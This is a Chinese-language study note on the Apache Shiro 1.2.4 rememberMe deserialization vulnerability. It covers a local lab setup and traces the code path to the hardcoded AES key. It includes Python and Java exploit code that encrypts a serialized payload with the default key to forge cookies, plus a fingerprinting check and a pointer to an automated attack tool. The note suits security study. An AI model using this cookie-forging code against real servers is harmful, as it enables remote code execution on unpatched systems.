Shiro硬编码反序列化

环境搭建

Apache-Shiro 1.2.4: https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4

参考 Y4er: https://y4er.com/posts/shiro-rememberme-rce/#%E5%A4%8D%E7%8E%B0 (Windows)

Shiro -1.2.4 - sample - web environment for Mac：

1、首先确认 ~/.m2/toolchains.xml存在 - ls -l ~/.m2/toolchains.xml：

不存在则 touch ~/.m2/toolchains.xml，存在则 nano ~/.m2/toolchains.xml编辑即可。

2、~/.m2/toolchains.xml （版本和 jdk信息和 pom.xml一致即可）:

<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0"
            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">

  <toolchain>
    <type>jdk</type>
    <provides>
      <version>1.8</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <jdkHome>/Library/Java/JavaVirtualMachines/jdk1.8.0_65.jdk/Contents/Home</jdkHome>
    </configuration>
  </toolchain>

</toolchains>

3、根目录 mvn clean package构建工件 war包，Tomcat部署启动：

漏洞分析

加解密流程

身份信息
	序列化
		AES加密 (使用硬编码)
			Base64加密
			rememberMe=value
		value Base64解码
	value Base64解码
反序列化 - 反序列化漏洞

1、CookieRememberMeManager.getRememberedSerializedIdentity从 Cookie中读数据并使用 Base64解密：

2、查找 CookieRememberMeManager.getRememberedSerializedIdentity用法，在AbstractRememberMeManager.getRememberedPrincipals被调用，向下跟进 convertBytesToPrincipals：

AES解密后进行反序列化，跟进 decrypt：

使用 getDecryptionCipherKey()获取 AES_KEY：

向上跟进最后可知 AES_KEY为硬编码密钥，可以进行数据伪造：

加密exp

python

#python解释器版本：python-3.13
import uuid
from Cryptodome.Cipher import CAST
from Cryptodome.Cipher import AES
from Cryptodome.Random import get_random_bytes
from Cryptodome.Util.Padding import pad
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import base64

#加密
def encrypt(serialized, key):
    # AES加密要求密钥长度为16, 24或32字节
    if len(key) not in [16, 24, 32]:
        raise ValueError("Key must be 16, 24, or 32 bytes long")
    # 生成16字节的初始化向量(IV)
    iv = get_random_bytes(16)
    # 创建AES CBC加密器
    cipher = AES.new(key, AES.MODE_CBC, iv)
    # 计算需要填充的字节数
    pad_length = 16 - len(serialized) % 16
    padded_data = serialized + bytes([pad_length]) * pad_length  # PKCS7填充
    # 执行加密
    encrypted = cipher.encrypt(padded_data)
    # 合并IV和加密后的数据
    output = iv + encrypted
     # Base64编码输出
    return base64.b64encode(output).decode('utf-8')

# 待加密序列化数据
with open('/Users/gehansheng/Desktop/Java代码审计/shiro/shiro-shiro-root-1.2.4/samples/web/src/test/java/org/apache/shiro/test/ser.txt', 'rb') as file:
    file_data = file.read()

key = base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==')
encrypted_data = encrypt(file_data, key)
print(f"Encrypted Data: {encrypted_data}")

Java

参考 ShiroAttack2 - Encrypt.java

https://github.com/SummerSec/ShiroAttack2/blob/master/src/main/java/com/summersec/attack/Encrypt/Encrypt.java

package com.summersec.attack.Encrypt;

import sun.misc.BASE64Encoder;

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.SecureRandom;

/**
 * @ClassName: encrypy
 * @Description: TODO
 * @Author: Summer
 * @Date: 2021/1/19 20:25
 * @Version: v1.0.0
 * @Description:
 **/
public class Encrypt {

    public static String encrypt(byte[] serialized, byte[] key) throws Exception {

        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");//"算法/模式/补码方式"

        int sizeInBytes = 16;
        byte[] iv = new byte[sizeInBytes];
        SecureRandom random = new SecureRandom();
        random.nextBytes(iv);
        SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
        //偏移量
        IvParameterSpec ivSpec =  new IvParameterSpec(iv);
        cipher.init(Cipher.ENCRYPT_MODE, skeySpec, ivSpec);
        byte[] encrypted = cipher.doFinal(serialized);
        byte[] output;
        output = new byte[iv.length + encrypted.length];
        System.arraycopy(iv, 0, output, 0, iv.length);
        System.arraycopy(encrypted, 0, output, iv.length, encrypted.length);
        return (new BASE64Encoder().encode(output)).replaceAll("\r\n","");
    }

}

漏洞利用

1、特征判断：请求包 Cookie构造 rememberMe=123; -> 响应 rememberMe=deleteMe

自动化利用工具 ShiroAttack2 (https://github.com/SummerSec/ShiroAttack2/releases)